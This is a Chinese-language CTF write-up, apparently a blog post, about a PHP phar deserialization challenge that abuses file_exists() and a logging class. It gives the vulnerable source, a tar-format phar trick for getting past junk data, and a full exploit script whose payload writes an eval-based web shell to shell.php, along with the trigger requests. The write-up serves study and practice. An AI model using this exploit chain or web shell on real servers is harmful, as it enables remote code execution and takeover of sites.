昨天的比赛,14.00-17.00.时间有点紧张,比赛期间没拿下来这道 😭非常痛苦,很顺畅的思路 一步步想下来,卡在最后一步末尾脏数据处理了,最后时间到了 没打通,还需多练
这里本地复现一下:
看一下附件里的 logger.php
<?php
error_reporting(0);
class Logger{
private $filename;
private $content;
private $endContent;
function __construct($filename,$endContent){
$this->filename = $filename;
$this->endContent = $endContent;
}
function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);
}
function __destruct(){
$this->info($this->endContent);
}
}
$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file'];
$userName = $_POST["name"] ?? "nothing";
if (file_exists($fileName)){
echo "File exists";
$logger->info("$userName");
}else{
echo "File does not exist";
$logger->info("$userName");
}
?>
审一下,大题就是 POST传入file和name参数,执行file_exists($fileName) 不管是否存在,都会执行 $logger->info($userName); logger::info()函数功能为 往 $this->filename里 fopen($filename,"a") 写入传入的name参数的内容。 也就是往 log/info.log里。
然后函数执行完毕,对象销毁的时候,执行一次 __destruct()函数,再往log/info.log 写入 Close at $time
由于不存在反序列化函数unserialize(), 因此这个$logger这个对象里 $this->name 是不可控的,就是 log/info.log
$logger = new Logger("log/info.log","Close at $time");
但是 file_exists()会触发phar反序列化,同时结合上面 我们可以写入 log/info.log文件,那我们是不是可以通过 post name参数,post 一个我们构造好的phar文件内容,写入到 log/info.log文件里。由于phar:// 协议可以解析其他后缀(主要是看文件内容,不看后缀), 因此我们再次通过file_exists()去触发 phar反序列化,触发__destruct(),从而 通过 构造好的序列化meta数据 $this->filename, $this->endContent 往filename 写入我们要执行的命令(🐎)
原理是这样,没错。 但是,,, 你看看log/info.log里的东西
payload为我们phar文件内容,但是很明显info.log并不是纯正的phar文件,里面有脏东西的,,
由于签名部分的存在,php会校验文件哈希值,并检查末尾是否为GBMB,如下是解析部分的源码:
phar文件的格式,签名 不允许他前后有东西,解析不了 这怎么办????
这里涉及到了脏数据的处理,解决方法:
(1) 绕过前面的脏数据
这里我们可以看到,它前面会给我们加上"Type:INFO Messsage:",phar文件是有签名标准的,签名多了这么一段 会使得签名无效。但是这个是很容易绕过的,这个就比较类似于 之前phar题里的一种图片头绕过,前面需要是GIF89a 。我们只需要在生成phar文件时 setStub 代码里改成
$phar = new Phar("poc.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($c);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
//签名自动计算
$phar->stopBuffering();
这样在生成文件的时候,会自动前面好,因此这个是非常好绕过的。我们来010editor里看一下生成的phar文件里是什么:
可以看到前面加上了 "Type:INFO Messsage:"。
回到这道题,我们可以在这样生成phar文件之后,由于题目往log/info.log文件里写内容时,会自己加上"Type:INFO Messsage:",因此我们只需要给 name传构造好的phar文件里"Type:INFO Messsage:" 后面的文件内容(url编码一下) 就可以解决前面脏数据对phar文件解析的影响
但是,在文件执行完,对象销毁的时候,他还会往log/info.log 里写进其他的东西,md 后面又多了一段脏数据: "Type:INFO Messsage:Close at 1677925012" 当时就卡这里了
(2) 通过 tar 绕过phar后面的脏数据
phar文件如果末尾不是GBMB会直接导致解析失败。我们知道一句话木马由于有<?php ?>
这样的头尾标识存在,可以无视前后脏数据;然而对于phar,这样的骚操作被签名部分阻止了
那这个没法绕过吗? 可以的 。
利用convertToExecutable函数,我们可以把phar文件转为其他格式的phar文件,例如.tar和.zip格式
如果以 tar文件格式储存phar,会使得它不会受后面数据的影响,(这是tar的格式决定的)
当然不止有tar,还有其他格式,对应的转化代码:
<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip
这里注意就是
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**
$phar->startBuffering();
$phar->addFromString("Type:INFO Messsage:","");
//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($test); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
exp如下:
<?php
unlink("a.phar.tar");
class Logger{
private $filename = "/var/www/html/shell.php";
private $endContent = '<?php eval($_POST["shell"]);?>';
}
$log = "Type:INFO Messsage:";
$log_len = strlen($log);
$phar = new Phar("a.phar"); //后缀名必须为phar
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**
$phar->startBuffering();
$phar->addFromString("Type:INFO Messsage:","");
//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub
$test = new Logger();
$phar->setMetadata($test); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
$exp = file_get_contents("./a.phar.tar");
$post_exp = substr($exp, $log_len);
echo rawurlencode($post_exp); //urlencode输出数据流
生成exp后
先post name=exp&file=aa
然后post name=&file=phar://./log/info.log去触发phar反序列化
成功写入shell.php
参考:https://www.cnblogs.com/yyy2015c01/p/phar-deserialization.html